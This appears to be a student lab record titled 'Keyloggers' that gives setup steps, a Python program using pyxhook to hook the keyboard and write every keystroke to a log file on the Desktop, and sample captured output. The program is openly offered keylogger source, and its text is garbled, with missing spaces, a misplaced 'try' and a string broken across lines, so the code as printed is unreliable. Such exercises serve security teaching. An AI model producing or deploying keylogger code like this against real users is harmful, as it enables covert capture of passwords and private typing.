EXPNO:7   **DATE:**

KEYLOGGERS

Aim: Towriteapythonprogramtoimplementkeyloggertorecordkeystrokesin Linux.

Algorithm:
- Step1:Checkifpython-xlibisinstalled.Ifnot,typethecommand:`dnf install python-xlib -y`.
- Step2:Runthepyxhookfileusingthecommand:`pythonpyxhook.py`.
- Step3:Createafilenamed`key.py`.
- Step4:Run`key.py`torecordallkeystrokes.
- Step5:Openthe`file.log`filetoviewalltherecordedkeystrokes.

Program:

```
import os
importpyxhook

log_file=os.environ.get('pylogger_file',os.path.expanduser('~/Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0])

ifos.environ.get('pylogger_clean',None)isnotNone: try:
     os.remove(log_file)
exceptEnvironmentError:
pass

defOnKeyPress(event):
with open(log_file, 'a') as f:
     f.write('{ }\n'.format(event.Key))
```

```python
new_hook=pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress

new_hook.HookKeyboard()

try:
    new_hook.start()exceptKeyboardInterrupt:      pass
exceptExceptionasex:        msg='Errorwhile
catching events:\n{}'.format(ex)      withopen(log_file,
'a') as f:
        f.write('\n{}'.format(msg))
```

Output:
w w w
period
hd
fcb a
n k
period
c
o m
Return
3
0
0
9
1
2
3
Shift_L
I n
d

ia
9
0Shift_L
dollar
percent

Result: